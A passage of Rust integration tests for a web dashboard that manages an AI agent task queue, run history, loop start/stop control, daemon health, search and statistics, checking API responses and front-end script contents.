10093 run: "20260101-000000-b455".to_owned(),
10094 node: "implement".to_owned(),
10095 }
10096 );
10097 assert_eq!(reloaded.created_at, created_at);
10098 }
10099
10100 #[tokio::test]
10101 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10102 let f = Fixture::start().await;
10107 let queue = f.queue();
10108 let mut task = Task::new(
10109 "landed while held".to_owned(),
10110 "x".to_owned(),
10111 PathBuf::from("/repo/magi"),
10112 Source::Human,
10113 );
10114 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10115 queue.put(&mut task).expect("file the held task");
10116
10117 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10118 assert_eq!(done.status, 200, "{}", done.body);
10119 assert_eq!(done.json()["status_str"], "done");
10120 assert!(
10121 done.json()["hold_reason"].is_null(),
10122 "a done task cannot still be waiting on something: {}",
10123 done.body
10124 );
10125 }
10126
10127 #[tokio::test]
10128 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10129 let f = Fixture::start().await;
10134 let queue = f.queue();
10135 let runs = f.runs();
10136 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10137 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10141
10142 let mut task = Task::new(
10143 "landed by hand".to_owned(),
10144 "x".to_owned(),
10145 PathBuf::from("/repo/magi"),
10146 Source::Human,
10147 );
10148 task.runs.push("20260101-000000-doa1".to_owned());
10149 task.runs.push("20260101-000000-doa2".to_owned());
10150 queue.put(&mut task).expect("file the task");
10151
10152 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10153 assert_eq!(done.status, 200, "{}", done.body);
10154
10155 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10156 .expect("run still on disk under this fixture's own home");
10157 assert_eq!(
10158 reloaded_run.status,
10159 RunStatus::Superseded,
10160 "closing the task by hand must relabel the earlier blocked attempt exactly \
10161 like the loop's own settle path does"
10162 );
10163 }
10164
10165 #[tokio::test]
10166 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10167 let f = Fixture::start().await;
10172 let queue = f.queue();
10173 let runs = f.runs();
10174 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10175 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10176
10177 let mut task = Task::new(
10178 "closed with nothing actually landed".to_owned(),
10179 "x".to_owned(),
10180 PathBuf::from("/repo/magi"),
10181 Source::Human,
10182 );
10183 task.runs.push("20260101-000000-dob1".to_owned());
10184 task.runs.push("20260101-000000-dob2".to_owned());
10185 queue.put(&mut task).expect("file the task");
10186
10187 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10188 assert_eq!(done.status, 200, "{}", done.body);
10189
10190 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10191 .expect("run still on disk under this fixture's own home");
10192 assert_eq!(
10193 reloaded_run.status,
10194 RunStatus::Blocked,
10195 "the last recorded attempt never landed, so the earlier one must not be \
10196 relabelled as superseded by it"
10197 );
10198 }
10199
10200 #[tokio::test]
10201 async fn unknown_ids_are_json_not_found_on_both_stores() {
10202 let f = Fixture::start().await;
10203
10204 let run = f.get("/api/runs/nosuchrun").await;
10205 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10206
10207 assert_eq!(run.status, 404);
10208 assert_eq!(task.status, 404);
10209 assert!(
10210 run.json()["error"]
10211 .as_str()
10212 .is_some_and(|e| e.contains("run")),
10213 "the error names what was not found: {}",
10214 run.body
10215 );
10216 assert!(
10217 task.json()["error"]
10218 .as_str()
10219 .is_some_and(|e| e.contains("task")),
10220 "the error names what was not found: {}",
10221 task.body
10222 );
10223 }
10224
10225 #[tokio::test]
10226 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10227 let f = Fixture::start().await;
10228
10229 let missing = f.get("/api/health").await.json();
10230 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10231
10232 write_daemon(
10233 f.home.path(),
10234 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10235 );
10236 let stale = f.get("/api/health").await.json();
10237 assert_eq!(
10238 stale["daemon"]["running"], false,
10239 "a minute without a heartbeat is a dead daemon, not a busy one"
10240 );
10241 assert!(
10242 stale["daemon"]["stale_for_secs"]
10243 .as_i64()
10244 .is_some_and(|s| s >= 55),
10245 "staleness is reported so the UI can say how long: {stale}"
10246 );
10247
10248 write_daemon(f.home.path(), Timestamp::now());
10249 let fresh = f.get("/api/health").await.json();
10250 assert_eq!(fresh["daemon"]["running"], true);
10251 assert_eq!(fresh["daemon"]["idle"], false);
10252 assert_eq!(fresh["daemon"]["pid"], 4242);
10253 assert_eq!(fresh["daemon"]["completed"], 7);
10254 assert_eq!(
10255 fresh["daemon"]["current"][0]["task"],
10256 "20260902-140501-aaaa"
10257 );
10258 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10259 }
10260
10261 #[tokio::test]
10262 async fn the_loop_is_not_running_until_something_starts_it() {
10263 let f = Fixture::start().await;
10264
10265 let view = f.get("/api/loop").await.json();
10266 assert_eq!(view["running"], false);
10267 assert_eq!(
10268 view["owned"], false,
10269 "nobody owns a loop that does not exist: {view}"
10270 );
10271 assert_eq!(view["stopping"], false);
10272 assert_eq!(view["last_error"], Value::Null);
10273 assert_eq!(view["daemon"]["running"], false);
10274 assert_eq!(
10275 view["repo"], "/repo/magi",
10276 "the repository a start would use, named before it is started"
10277 );
10278 }
10279
10280 #[tokio::test]
10281 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10282 let f = Fixture::start().await;
10283
10284 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10285 assert_eq!(res.status, 200, "{}", res.body);
10286 let view = res.json();
10287 assert_eq!(view["running"], true);
10288 assert_eq!(
10289 view["owned"], true,
10290 "the loop the UI started is the UI's own to stop: {view}"
10291 );
10292 assert_eq!(
10293 view["merge"],
10294 Value::Null,
10295 "no override was given, so each repository's own config decides"
10296 );
10297
10298 let health = f.get("/api/health").await.json();
10302 assert_eq!(health["loop"]["running"], true, "{health}");
10303 assert_eq!(health["loop"]["owned"], true, "{health}");
10304
10305 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10306 }
10307
10308 #[tokio::test]
10309 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10310 let f = Fixture::start().await;
10311 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10312 assert_eq!(first.status, 200, "{}", first.body);
10313
10314 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10315 assert_eq!(
10316 again.status, 409,
10317 "two loops on one queue race for the same claims: {}",
10318 again.body
10319 );
10320 assert!(
10321 again.json()["error"]
10322 .as_str()
10323 .is_some_and(|e| e.contains("already running the loop")),
10324 "the refusal has to say why: {}",
10325 again.body
10326 );
10327 assert_eq!(
10328 f.get("/api/loop").await.json()["running"],
10329 true,
10330 "and the loop that was already running is untouched by it"
10331 );
10332
10333 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10334 }
10335
10336 #[tokio::test]
10337 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10338 let f = Fixture::start().await;
10339 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10340
10341 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10342 assert_eq!(
10343 res.status, 200,
10344 "the answer must not wait for the loop: a run in flight is tens of \
10345 minutes and the operator is holding a phone: {}",
10346 res.body
10347 );
10348
10349 let view = settled(&f, |v| v["running"] == false).await;
10350 assert_eq!(view["owned"], false);
10351 assert_eq!(
10352 view["stopping"], false,
10353 "a loop that has stopped is not still stopping: {view}"
10354 );
10355 assert_eq!(
10356 view["last_error"],
10357 Value::Null,
10358 "a loop that was asked to stop did not fail: {view}"
10359 );
10360
10361 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10364 assert_eq!(twice.status, 200, "{}", twice.body);
10365 }
10366
10367 #[tokio::test]
10368 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10369 let f = Fixture::start().await;
10370 write_daemon(f.home.path(), Timestamp::now());
10373
10374 let view = f.get("/api/loop").await.json();
10375 assert_eq!(view["running"], false, "not in this process: {view}");
10376 assert_eq!(view["owned"], false, "and not this process's to control");
10377 assert_eq!(
10378 view["daemon"]["running"], true,
10379 "but a loop is alive somewhere, which is what the UI must say"
10380 );
10381 assert_eq!(view["daemon"]["pid"], 4242);
10382
10383 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10384 let res = f.post("/api/loop", Some(body)).await;
10385 assert_eq!(
10386 res.status, 409,
10387 "neither button may pretend to work on someone else's loop: {}",
10388 res.body
10389 );
10390 assert!(
10391 res.json()["error"]
10392 .as_str()
10393 .is_some_and(|e| e.contains("4242")),
10394 "the refusal has to name the process the operator must go to: {}",
10395 res.body
10396 );
10397 }
10398 assert_eq!(
10399 f.get("/api/loop").await.json()["running"],
10400 false,
10401 "and the refusal started nothing"
10402 );
10403 }
10404
10405 #[tokio::test]
10406 async fn a_stale_status_file_is_not_a_foreign_owner() {
10407 let f = Fixture::start().await;
10408 write_daemon(
10409 f.home.path(),
10410 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10411 );
10412
10413 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10414 assert_eq!(
10415 res.status, 200,
10416 "a daemon killed a minute ago must not lock the loop out of its \
10417 own home for good: {}",
10418 res.body
10419 );
10420 assert_eq!(res.json()["running"], true);
10421
10422 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10423 }
10424
10425 #[tokio::test]
10426 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10427 let f = Fixture::start().await;
10428 let before = f.get("/api/health").await.json()["loop_rev"]
10429 .as_u64()
10430 .expect("a loop revision");
10431
10432 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10433
10434 let after = f.get("/api/health").await.json()["loop_rev"]
10435 .as_u64()
10436 .expect("a loop revision");
10437 assert!(
10438 after > before,
10439 "the loop is in-process state, so this counter is the only thing \
10440 that tells a second device the first one started it: {before} -> \
10441 {after}"
10442 );
10443
10444 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10445 }
10446
10447 #[tokio::test]
10448 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10449 let f = Fixture::with_loop(launch_broken).await;
10450
10451 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10452 assert_eq!(
10453 res.status, 200,
10454 "starting it is not the failure: {}",
10455 res.body
10456 );
10457
10458 let view = settled(&f, |v| v["last_error"].is_string()).await;
10459 assert_eq!(
10460 view["running"], false,
10461 "a loop that died must not read as running, or the operator has \
10462 nothing to press: {view}"
10463 );
10464 assert_eq!(view["owned"], false);
10465 assert!(
10466 view["last_error"]
10467 .as_str()
10468 .is_some_and(|e| e.contains("read-only file system")),
10469 "the phone is where a loop that died at 3am is visible: {view}"
10470 );
10471
10472 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10475 assert_eq!(again.status, 200, "{}", again.body);
10476 assert_eq!(
10477 again.json()["last_error"],
10478 Value::Null,
10479 "a fresh start does not keep showing why the last one died"
10480 );
10481 }
10482
10483 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10495 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10496 let home = TempDir::new().expect("temp home");
10497 let runs = home.path().join("runs");
10498 std::fs::create_dir_all(&runs).expect("runs dir");
10499 let ui = Ui::new(
10500 Queue::at(home.path().join("queue")),
10501 Questions::at(home.path().join("questions")),
10502 Talks::at(home.path().join("talks")),
10503 runs,
10504 home.path().to_path_buf(),
10505 PathBuf::from("/repo/magi"),
10506 )
10507 .with_worktrees_root(home.path().join("wt"))
10508 .with_launch(launch_knocking_on_the_way_out);
10509 let looping = ui.looping();
10510 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10511 .await
10512 .expect("bind loopback");
10513 let addr = listener.local_addr().expect("local addr");
10514 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10515 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10516
10517 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10518 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10519
10520 let bound = std::sync::Mutex::new(None);
10535 hand_over(home.path(), &looping, served, |_| {
10536 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10537 let attempt = loop {
10538 match std::net::TcpListener::bind(addr) {
10539 Ok(l) => {
10540 drop(l);
10541 break Ok(());
10542 }
10543 Err(e)
10544 if e.kind() == std::io::ErrorKind::AddrInUse
10545 && std::time::Instant::now() < deadline =>
10546 {
10547 std::thread::sleep(std::time::Duration::from_millis(10));
10548 }
10549 Err(e) => break Err(e.to_string()),
10550 }
10551 };
10552 *bound.lock().expect("bound") = Some(attempt);
10553 Ok(1)
10554 })
10555 .await
10556 .expect("hand over");
10557
10558 assert_eq!(
10559 *PARK_HEARD.lock().expect("park heard"),
10560 Some(200),
10561 "the deck must answer while the loop is parking"
10562 );
10563 let attempt = bound
10564 .lock()
10565 .expect("bound")
10566 .take()
10567 .expect("the successor was started");
10568 assert!(
10569 attempt.is_ok(),
10570 "and the address must be free by the time it is: {attempt:?}"
10571 );
10572 }
10573
10574 #[tokio::test]
10575 async fn a_newer_daemon_status_file_still_renders() {
10576 let f = Fixture::start().await;
10577 std::fs::write(
10580 f.home.path().join("daemon.json"),
10581 serde_json::json!({
10582 "schema": 2,
10583 "updated_at": Timestamp::now().to_string(),
10584 "idle": true,
10585 "surprise": { "nested": [1, 2, 3] },
10586 })
10587 .to_string(),
10588 )
10589 .expect("write daemon.json");
10590
10591 let health = f.get("/api/health").await;
10592
10593 assert_eq!(health.status, 200);
10594 assert_eq!(health.json()["daemon"]["running"], true);
10595 }
10596
10597 #[tokio::test]
10598 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10599 let f = Fixture::start().await;
10600 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10601 let broken = f.runs().join("20260902-140502-bad");
10602 std::fs::create_dir_all(&broken).expect("run dir");
10603 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10604
10605 let list = f.get("/api/runs").await;
10606 let detail = f.get("/api/runs/20260902-140502-bad").await;
10607
10608 assert_eq!(list.status, 200);
10609 let listed = list.json();
10610 let ids: Vec<&str> = listed
10611 .as_array()
10612 .expect("an array")
10613 .iter()
10614 .map(|r| r["id"].as_str().expect("an id"))
10615 .collect();
10616 assert_eq!(
10617 ids,
10618 vec!["20260902-140501-good"],
10619 "one unreadable run must not cost the operator the whole history"
10620 );
10621 assert_eq!(detail.status, 500);
10622 assert!(
10623 detail.json()["error"]
10624 .as_str()
10625 .is_some_and(|e| e.contains("run.json")),
10626 "the failure names the file to look at: {}",
10627 detail.body
10628 );
10629 let health = f.get("/api/health").await;
10633 assert_eq!(health.json()["runs_unreadable"], 1);
10634 }
10635
10636 #[tokio::test]
10638 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10639 let f = Fixture::start().await;
10640 let runs = f.runs();
10641 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10642 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10643 let path = runs.join("20260902-140502-bbbb").join("run.json");
10646 let mut v: serde_json::Value =
10647 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10648 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10649 std::fs::write(&path, v.to_string()).unwrap();
10650 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10651 std::fs::write(
10652 runs.join("20260902-140503-cccc").join("run.json"),
10653 "{ not json",
10654 )
10655 .unwrap();
10656
10657 let res = f.get("/api/search?scope=runs&q=quokka").await;
10658 assert_eq!(res.status, 200, "{}", res.body);
10659 let v = res.json();
10660 assert_eq!(v["total"], 1, "{v}");
10661 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10662 assert_eq!(v["hits"][0]["field"], "text");
10663 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10664 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10665 assert!(
10666 parts
10667 .iter()
10668 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10669 "{v}"
10670 );
10671 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10672 assert_eq!(
10673 flat, "The Quokka leaks across threads",
10674 "whitespace is collapsed"
10675 );
10676
10677 let both = f
10679 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10680 .await
10681 .json();
10682 assert_eq!(both["total"], 1, "{both}");
10683 let neither = f
10684 .get("/api/search?scope=runs&q=quokka%20zebra")
10685 .await
10686 .json();
10687 assert_eq!(neither["total"], 0, "{neither}");
10688 let stmt = f
10690 .get("/api/search?scope=runs&q=mobile%20first")
10691 .await
10692 .json();
10693 assert_eq!(stmt["total"], 2, "{stmt}");
10694 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10695 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10696 }
10697
10698 #[test]
10699 fn snippet_ignores_terms_longer_than_the_field() {
10700 let terms = ["ok".to_owned(), "elephant".to_owned()];
10701 let parts = snippet_of("ok", &terms);
10702 assert_eq!(
10703 parts,
10704 vec![SnippetPart {
10705 text: "ok".to_owned(),
10706 hit: true
10707 }]
10708 );
10709 }
10710
10711 #[test]
10712 fn snippet_marks_matches_longer_than_the_window() {
10713 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10714 let hit_len = |parts: &[SnippetPart]| -> usize {
10715 parts
10716 .iter()
10717 .filter(|p| p.hit)
10718 .map(|p| p.text.chars().count())
10719 .sum()
10720 };
10721 let total =
10722 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10723
10724 let long = "a".repeat(120);
10725 let parts = snippet_of(&long, std::slice::from_ref(&long));
10726 assert!(hit_len(&parts) > 0, "{parts:?}");
10727 assert!(total(&parts) <= cap);
10728
10729 let ja = "あ".repeat(130);
10730 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10731 assert!(hit_len(&parts) > 0, "{parts:?}");
10732 assert!(total(&parts) <= cap);
10733
10734 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10736 let term = format!("ab{}", "c".repeat(100));
10737 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10738 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10739 assert!(total(&parts) <= cap);
10740
10741 let text = format!("{}z", "a".repeat(119));
10743 let parts = snippet_of(&text, &["a".repeat(120)]);
10744 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10745 }
10746
10747 #[tokio::test]
10748 async fn search_caps_hits_and_snippet_length() {
10749 let f = Fixture::start().await;
10750 let runs = f.runs();
10751 for n in 0..(SEARCH_MAX_HITS + 5) {
10752 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10753 }
10754 let v = f.get("/api/search?scope=runs&q=web").await.json();
10755 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10756 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10757 assert_eq!(v["truncated"], true);
10758 assert!(
10760 v["hits"]
10761 .as_array()
10762 .unwrap()
10763 .iter()
10764 .all(|h| h["run"]["status"] == "merged")
10765 );
10766
10767 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10768 let parts = snippet_of(&long, &["needle".to_owned()]);
10769 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10770 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10771 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10772 }
10773
10774 #[tokio::test]
10775 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10776 let f = Fixture::start().await;
10777 let queue = f.queue();
10778 let mut t = Task::new(
10779 "short title".to_owned(),
10780 "line one\nthe hidden Armadillo detail".to_owned(),
10781 PathBuf::from("/repo/magi"),
10782 Source::Agent {
10783 run: "r1".to_owned(),
10784 node: "chat".to_owned(),
10785 },
10786 );
10787 t.last_error = Some("disk full on /tmp".to_owned());
10788 queue.put(&mut t).expect("file the task");
10789
10790 for (q, want) in [
10791 ("armadillo", 1),
10792 ("disk%20FULL", 1),
10793 ("chat", 1),
10794 ("queued", 1),
10795 ("short%20nothing", 0),
10796 ] {
10797 let v = f
10798 .get(&format!("/api/search?scope=tasks&q={q}"))
10799 .await
10800 .json();
10801 assert_eq!(v["total"], want, "{q}: {v}");
10802 }
10803 for bad in [
10804 "/api/search?scope=tasks&q=",
10805 "/api/search?scope=tasks&q=%20",
10806 "/api/search?scope=chats&q=",
10807 "/api/search?scope=chats&q=%20",
10808 "/api/search?scope=nope&q=a",
10809 "/api/search?q=a",
10810 ] {
10811 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10812 }
10813 }
10814
10815 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10817 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10818 .expect("seat value");
10819 let turns: Vec<serde_json::Value> = turns
10820 .iter()
10821 .map(|(who, body)| {
10822 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10823 })
10824 .collect();
10825 let doc = serde_json::json!({
10826 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10827 "status": status, "turns": turns,
10828 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10829 "seat": seat,
10830 });
10831 let dir = f.home.path().join("talks");
10832 std::fs::create_dir_all(&dir).expect("talks dir");
10833 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10834 }
10835
10836 #[tokio::test]
10837 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10838 let f = Fixture::start().await;
10839 write_talk(
10840 &f,
10841 "20260901-000001-aaaa",
10842 "open",
10843 &[
10844 (
10845 "operator",
10846 "\n Why does the Pangolin cache expire?\nsecond line",
10847 ),
10848 ("agent", "Because the TTL is thirty seconds."),
10849 ],
10850 );
10851 write_talk(
10852 &f,
10853 "20260901-000002-bbbb",
10854 "closed",
10855 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10856 );
10857 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10858
10859 let search = |q: &'static str| {
10860 let f = &f;
10861 async move {
10862 f.get(&format!("/api/search?scope=chats&q={q}"))
10863 .await
10864 .json()
10865 }
10866 };
10867
10868 let v = search("PANGOLIN").await;
10869 assert_eq!(v["scope"], "chats");
10870 assert_eq!(v["total"], 1, "{v}");
10871 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10872 assert_eq!(v["hits"][0]["field"], "title");
10873 assert_eq!(v["unreadable"], 1, "{v}");
10874 let marked: Vec<&str> = v["hits"][0]["snippet"]
10875 .as_array()
10876 .unwrap()
10877 .iter()
10878 .filter(|p| p["hit"] == true)
10879 .map(|p| p["text"].as_str().unwrap())
10880 .collect();
10881 assert_eq!(marked, ["Pangolin"]);
10882
10883 let v = search("zebra").await;
10885 assert_eq!(v["total"], 1, "{v}");
10886 assert_eq!(v["hits"][0]["field"], "agent");
10887 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10889 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10890 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10892 assert_eq!(search(q).await["total"], 0, "{q}");
10893 }
10894 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10896 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10898
10899 let v = f.get("/api/search?scope=nope&q=a").await;
10900 assert_eq!(v.status, 400);
10901 assert!(
10902 v.body.contains("scope must be runs, tasks or chats"),
10903 "{}",
10904 v.body
10905 );
10906 }
10907
10908 #[test]
10909 fn a_question_card_links_a_task_id_to_the_task_page() {
10910 let start = APP_JS
10911 .find("function updateAskCard(")
10912 .expect("updateAskCard exists");
10913 let body = &APP_JS[start..];
10914 let body = &body[..body.find("\n}\n").expect("function end")];
10915 assert!(body.contains("question.run_is_task"));
10916 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10917 assert!(body.contains("`#/runs/${question.run}`"));
10918 assert!(body.contains("\"task\" : \"run\""));
10919 }
10920
10921 #[test]
10922 fn stats_bars_share_one_id_keyed_plan() {
10923 let start = APP_JS
10924 .find("function statsBarRows(")
10925 .expect("statsBarRows exists");
10926 let body = &APP_JS[start..];
10927 let body = &body[..body.find("\n}\n").expect("function end")];
10928 assert!(body.contains("statsBarPlan(rows)"));
10929 assert!(body.contains("statsAgentTone(row.agent)"));
10930 assert!(!body.contains("candTone(i)"));
10931 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
10932 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
10933 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
10934 }
10935 }
10936
10937 #[test]
10938 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
10939 let start = APP_JS
10940 .find("function renderStatsReviewerScatter(")
10941 .expect("renderStatsReviewerScatter exists");
10942 let body = &APP_JS[start..];
10943 let body = &body[..body.find("\n}\n").expect("function end")];
10944 assert!(body.contains("statsScatterPlan(reviewers)"));
10945 assert!(body.contains("statsAgentTone(d.agent)"));
10946 assert!(APP_JS.contains("function statsScatterPlan("));
10947 assert!(
10948 APP_JS.contains("d.submitted < STATS_LOW_N")
10949 || APP_JS.contains("r.submitted < STATS_LOW_N")
10950 );
10951 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
10952 assert!(APP_CSS.contains(".precision-scatter"));
10953 }
10954
10955 #[test]
10956 fn advisor_reflection_is_drawn_as_stacked_segments() {
10957 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
10958 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
10959 let html = include_str!("../assets/ui/index.html");
10960 assert!(html.contains("Approximate"));
10961 for label in ["reflected strongly", "faint", "no proposal"] {
10962 assert!(html.contains(label));
10963 }
10964 let css = include_str!("../assets/ui/app.css");
10965 for c in ["refl-strong", "refl-faint", "refl-absent"] {
10966 assert!(css.contains(&format!(".{c} {{")));
10967 }
10968 }
10969
10970 #[test]
10971 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
10972 assert!(APP_JS.contains("function statsDailyPlan("));
10973 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
10974 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
10975 }
10976
10977 #[test]
10978 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10979 let start = APP_JS
10980 .find("function scheduleSearch(")
10981 .expect("scheduleSearch exists");
10982 let body = &APP_JS[start..];
10983 let body = &body[..body.find("\n}\n").expect("function end")];
10984 assert!(body.contains("s.seq += 1"));
10985 }
10986
10987 #[tokio::test]
10992 async fn stats_runs_unreadable_matches_health() {
10993 let f = Fixture::start().await;
10994 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10995 let broken = f.runs().join("20260902-140502-bad");
10996 std::fs::create_dir_all(&broken).expect("run dir");
10997 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10998
10999 let stats = f.get("/api/stats").await;
11000 let health = f.get("/api/health").await;
11001
11002 assert_eq!(stats.status, 200);
11003 assert_eq!(stats.json()["totals"]["runs"], 1);
11004 assert_eq!(stats.json()["runs_unreadable"], 1);
11005 assert_eq!(
11006 stats.json()["runs_unreadable"],
11007 health.json()["runs_unreadable"],
11008 "the dashboard and /api/health must never disagree about how many \
11009 runs could not be read"
11010 );
11011 }
11012
11013 #[tokio::test]
11014 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11015 let f = Fixture::start().await;
11016 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11017 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11018 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11019
11020 let totals = &f.get("/api/stats").await.json()["totals"];
11021 assert_eq!(totals["runs"], 3);
11022 assert_eq!(totals["merged"], 1);
11023 assert_eq!(totals["stalled"], 1);
11024 assert_eq!(totals["in_progress"], 1);
11025 assert_eq!(totals["blocked"], 0);
11028 assert_eq!(totals["ready"], 0);
11029 }
11030
11031 #[tokio::test]
11032 async fn stats_advisors_report_proposals_and_reflection() {
11033 use crate::advise::{Advice, AdvisorRecord, Reflection};
11034 use crate::verdict::Proposal;
11035
11036 let f = Fixture::start().await;
11037 let mut state = RunState::new(
11038 PathBuf::from("/repo/magi"),
11039 "main".to_owned(),
11040 "0123456789abcdef".to_owned(),
11041 "task".to_owned(),
11042 Config::default(),
11043 );
11044 state.id = "20260902-140501-a".to_owned();
11045 state.status = RunStatus::Merged;
11046 state.advice = Some(Advice {
11047 records: vec![
11048 AdvisorRecord {
11049 seat: "advisor-1".to_owned(),
11050 agent: "alpha".to_owned(),
11051 proposal: Some(Proposal {
11052 approach: "do it".to_owned(),
11053 key_tradeoff: "speed over memory".to_owned(),
11054 risks: Vec::new(),
11055 touches: Vec::new(),
11056 why_not_naive: "breaks under load".to_owned(),
11057 }),
11058 error: None,
11059 duration_ms: 0,
11060 reflection: Reflection::Strong,
11061 },
11062 AdvisorRecord {
11063 seat: "advisor-2".to_owned(),
11064 agent: "alpha".to_owned(),
11065 proposal: None,
11066 error: Some("timed out".to_owned()),
11067 duration_ms: 0,
